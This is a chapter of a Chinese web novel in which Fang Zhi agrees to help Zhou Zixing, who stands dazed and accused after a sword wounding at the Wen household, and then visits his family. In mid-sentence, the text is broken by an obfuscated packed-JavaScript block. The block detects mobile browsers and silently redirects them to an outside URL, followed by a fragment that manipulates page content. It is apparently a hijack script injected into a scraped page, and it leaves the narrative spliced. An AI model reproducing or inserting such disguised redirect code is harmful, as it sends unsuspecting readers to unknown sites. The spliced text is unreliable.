自从周自横回到南都后,温家的邀请就没断过,今天赏花会,明天游园会,打着各种旗号试图让周自横和温馥见面。
周自横推了一次又一次,但也不好次次都推,那天他和母亲一起去温家拜访。
本来好好的,后来有人传话说温馥小姐让周自横过去一趟,说是有玉台门的消息要告知,就在前面的花厅。
周自横不好推辞,跟着来人就去了,野渡随行。可一转弯,野渡被迷晕了,再醒来就在躺在花厅门口。
彼时他一睁眼,就看见一圈人围在前面叫喊着。他冲开人群,就看见周自横手里拿着剑,这剑身贯穿温家二小姐的肩头,二小姐疼得业已昏迷。
而他家公子就这么直愣愣地站在那里,血流了一地。
还没等他反应过来,就被人从后面一把推开,温家夫人冲进来了。
看见眼前的场景,温夫人直接晕死过去,这又是一阵的兵荒马乱。
后来有两个人把周自横“制服”了——说是支付,可他看周自横一点反抗都没有,跟个提线木偶一样。
再后来,他就被人看押起来,后面就一直被关着,直到周家来人,给了他一个包袱,让他来玉台门找方枝。
方枝问道:“这周家人是谁?”
野渡还沉浸在这几天发生的事里,一时间没回答她的话。
“你到时说啊!你是想急死谁!”忍冬急吼吼的叫喊。
身后传来响动,“进屋说。”
清锋不知何时站在门口,他侧身,示意众人进屋。
方枝自从进屋后就一直沉默不语,倒是清锋开口询问,“那人是谁?”
野渡道:“是夫人身边的贴身小厮。”
“他可还说什么了?”
“他说那是公子的意思,让我尽快出发。”
“那不奇怪,之前大师兄就这么说过。”忍冬了然的点点头。
“你还知道什么细节,细细地说说。”桑白开口道。
野渡绞尽脑汁,也只是说了两句不痛不痒的事,事情还是不明朗。
一直没开口的方枝突然说道:“你知不知道周自横在进入温府后喝了或者吃了什么东西?”
野渡十分确定,“我也是这么想的,但公子确实是刚到温家,落座看茶的时候公子一点也没有动那些茶水点心。”
“那有什么异香呢?”
野渡皱眉,苦恼道:“没什么吧,温二小姐身子不好,常年喝药,府里都是药味。”
“都没有啊……”方枝点点头,“那温馥和温二小姐是什么关系呢?”
嗯?野渡惊讶,“方小姐不知道吗,温馥小姐是温府原配夫人的独女,温妍小姐是现在继夫人的小女儿。”
“那两人关系怎么样?”方枝问道。
野渡斟酌着,“关系一般,毕竟温大小姐六岁就进入玉台门拜师了。”
方枝又问了些周自横和温妍的人际关系。
“所以呢?”忍冬开口,“你觉得这事是什么情况?”
方枝摇头,“信息太少,不清楚。”
“那你还等什么,你去周家问问就清楚了。”
方枝迟疑。
一直在旁边听他们说话的清锋长老轻咳一声,“方姑娘,你看呢?”
一句话就把众人的注意力放到这里了。
方枝不说话,忍冬急了,站起来就冲到方枝面前,“你还犹豫什么?难道你不想帮大师兄吗?”
桑白起身,伸手拉住他,“阿枝不是不想帮,只怕是有什么顾虑。”
“现在有什么顾虑比大师兄的事还重要啊!”
野渡听出来了,“扑通”一声跪在方枝面前。
方枝赶紧站起来搀扶他。
“求方小姐救救我家公子,来日周府必有重谢。”
方枝苦笑,我哪有这么大的本事。
方枝开口,“我收拾收拾东西,过两天启程吧。”
“干嘛过两天,今晚就走吧。”忍冬着急。
“我总得准备准备吧。”方枝没好气地说道。
——
药房。
方枝正按照药方配药,她这回多抓了几副,有了先前的经验,她现在已经是熟能生巧,分量把握得很准。
哎,这一味,这么多,唉,还有这个,这么些,唉,这个我刚才方哪儿了,唉唉。
笃笃,敲门声响起。
方枝抬头,是白决明。
白决明还是一身白衣,款款贵公子的模样。
望着她的眼神里深深浅浅。
白决明走过去,从她身后一堆纸张下面翻出来她刚刚在找到小碟子。
伸手递给她,在她要接过的时候,抓紧没松手。
“嗯?怎么了。”方枝微微偏头。
“不想去就别去了。”
许是黑夜放大了人的情绪,方枝感觉心都是潮湿的。
白决明把碟子抽出来,越过她放在桌子上,“为什么不想去周府啊?”
方枝道:“那可是高门大户,深似海。”
白决明挑眉,颇为惊讶。
方枝这会儿正心烦呢,看到他那种表情更是恼火。
“你要是想去你就去呗,能者多劳。”方枝在转身的一瞬翻了个白眼。
白决明突然笑出声,在方枝眼神过来的时候急忙收起,和她并肩站着,一起给药包封口。
白决明小心开口,“只是没想到,感觉你不像是会怕的人啊。”
方枝低着头,不言不语。
“哎,我知道一点周家的事,你要不要听听?”
嗯?还有这么个好事!那必须听啊。
“讲。”
“那你不能白听呀。”白决明浅笑。
“哦~你想要什么?”方枝挑眉。
“我要……”他摸摸下巴,“我想让你请我一顿饭,在北都最大的酒楼让我随便点。”
“哦,那你还是别讲了。”方枝毫不犹豫。
白决明的笑容僵在脸上,没想到会是这么个反应。
“你要么换一个,要么你别讲,我现在身无分文。”方枝语气冷淡。
白决明摸摸鼻子,“你要是帮周自横这次,周家肯定会感激你,这饭钱不就有了?”
方枝撇了他一眼,最后捏着鼻子认了,“你说吧。”
——
次日一早,若水院外。
忍冬和野渡眼巴巴在院外等着,桑白过来时就看见他俩伸个脖子扒在墙头。
“你们干什么呢?”
忍冬回头,“看方枝什么时候好。”
桑白失笑,“阿枝应该是要好好准备,毕竟这不是小事。”
“一晚上了,再有什么也该收拾好了。”忍冬忍不住吐槽起来。
“师姐,你要不进去看看吧,她别睡过了。”忍冬担心。
“行,我进去看看。”桑白敲门。
没人应。
忍冬直接伸手拍门,提高嗓门:“方枝,醒醒,起床了。”
野渡也扯着嗓子喊,“方小姐,方小姐,你快想想办法。”
还没人应。
“我动静这么大,她不会没醒吧?”忍冬怀疑。
“要不踹门?”野渡提议。
“干嘛踹我的门?”方枝冷不丁在身后冒出来。
“你……”
“啊!”
“你走路怎么没声音?”忍冬没好气地说道。
“不是说功力不够走路才有声音吗?”方枝挑眉。
“你!”忍冬大怒,冲过来就要和方枝理论。
“别挡道,我要回去睡觉。”方枝捂着嘴打了个哈欠,伸手对后面的人说,“你也回去睡吧,东西给我吧。”
嗯?
他们这才注意到后面还有个人。
“白师兄?”桑白道。
“你怎么在这?”忍冬道。
“你们…”桑白在两人身上来回打量。
忍冬看见方枝眼下具是乌青,“昨天晚上干什么了?”
“在药房包药。”方枝捂着嘴又大了一个哈欠。
“什么药要包一个晚上,你对得起大师兄吗!”忍冬的眼睛瞪得大大的。
回应他的是被甩上的门。
忍冬把视线转向白决明。
白决明苦笑,至于这么记仇吗。
他摊开手,对着三人点点头,飘然而去。
留下一地鸡毛的众人,面面相觑。
——
方枝走的时候清锋长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264304|180647||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老相送,看着面前的姑娘,他在心里幽幽地叹了口气。
虽说情况凶险,但左不过不会有性命之忧。事情棘手,且看她如何处置。
方枝和野渡在清晨时分到了周家。周夫人在门口相迎。
见她远远的走来。周夫人几乎要冲过去拉她的手。
方枝条件反射地缩了一下。
周母眼神一暗,但还是快步走向她,“是方枝姑娘吗?我家横儿念叨你很多次了,果然是个好姑娘。”
方枝礼貌地微笑。
等方枝进了周府,绕过花厅,来到华庭。
里面坐着个四五十岁的中年人,轮廓硬朗,岁月在他脸上留下了深深的印记,眼睛里都是洞察世事的清明。
“方姑娘到了,快请坐。”
这名中年人有这和周自横一样的性格,举手投足间一板一眼。
想必这就是周自横的父亲了,和她想的一样,严肃冷硬,一丝不苟。
方枝的手大半部分藏在袖子里,露出的指节抓着袖边。
周父是一个很直接的人,开门见山:“方姑娘,贸然邀请实在唐突。实是我儿有事想麻烦姑娘你帮忙。”
方枝微笑,点点头,“您能再详细说说吗?”
可令方枝非常失望的是,周父周母的说法和野渡的大差不差,没有什么有用信息。
方枝此时提出,“我能去看看周师兄吗,我带了点药,应该会有帮助。”
周夫人大喜过望,拉着她的手就往后面走。
绕过华庭的屏风,方枝从后门进入了周家的花园。
一抬眼就是两边各色时令的花。都是些方枝叫不上名字的,但光看它的样子就知道定是名种。
被精心照料,若水生花。
方枝心里装着事,看到这些奇花异草竟奇迹般地平复了心情。
周夫人在她身边能感受到她的变化,笑着说道:“是不是感觉好多了?小时候横儿也是静不下来,后来就种了这些花,效果还不错。”
方枝惊奇,“大师兄小时候很调皮吗?”
周夫人眼神拉远了,“男孩子嘛,都皮。”
“让他拜师也是磨磨性子,谁知道……”
方枝看着周母难过的样子,一肚子话不知该从何说起。
好在周自横的院子很快就到了,上着锁,周围都是侍卫。
看见方枝来了,领头的人伸手拦住她们。
“周夫人,这不好吧。”
周夫人淡淡说到:“怎么,我连探视也不行了吗?”
侍卫长不为所动:“您可以,可您身边这位……”
周夫人冷声道:“你打听她?什么时候温府还能管玉台门的事了。”
侍卫长迟疑,但还是没有后退。
方枝暗暗放出威压,侍卫长脸色马上苍白起来,脸上冷汗直流。
方枝偏头,淡淡说到:“管不了的事情就反映到上头,这就不会是你的问题。”
侍卫长没想到她说话这么直接,愣了一瞬,就这个空档周夫人和方枝绕过他,进了门。
周自横的屋子的前院很大,里面空荡荡的,只有一个躺椅,周自横躺在上面,脸留在阴影里,身子晒着阳光。
周夫人看到他,偏头和方枝小声解释到:“他现在精神不太好,不清醒,每天就躺在这里,已经好几天了。”
方枝心下微动,没说什么,上前拍拍他,“周师兄,周师兄。”
椅子上的人没反应。
方枝伸手,捏捏他的胳膊,有蹲下来看看他的面色,有个基本的诊断。
她退后两步,跟周母说道,“夫人,我从山上带了点药,需要煎,您看……”
周夫人直接说道:“没问题,我找人煎药。”
两人并未久留,看两眼就离开了。
周母看着她的身影,心里也是忐忑。看着这么年轻的姑娘,怎么自己儿子就这么信任她。
周夫人不好表现出自己的情绪,说话间语气不由自主的带了点示好的意味。
听得方枝浑身不自在。
此时已近晌午,周夫人热情地邀她共进午膳。
“不了,谢谢夫人好意,只是我还要煎药,火候把握不好实在麻烦,还是我亲自去比较放心。”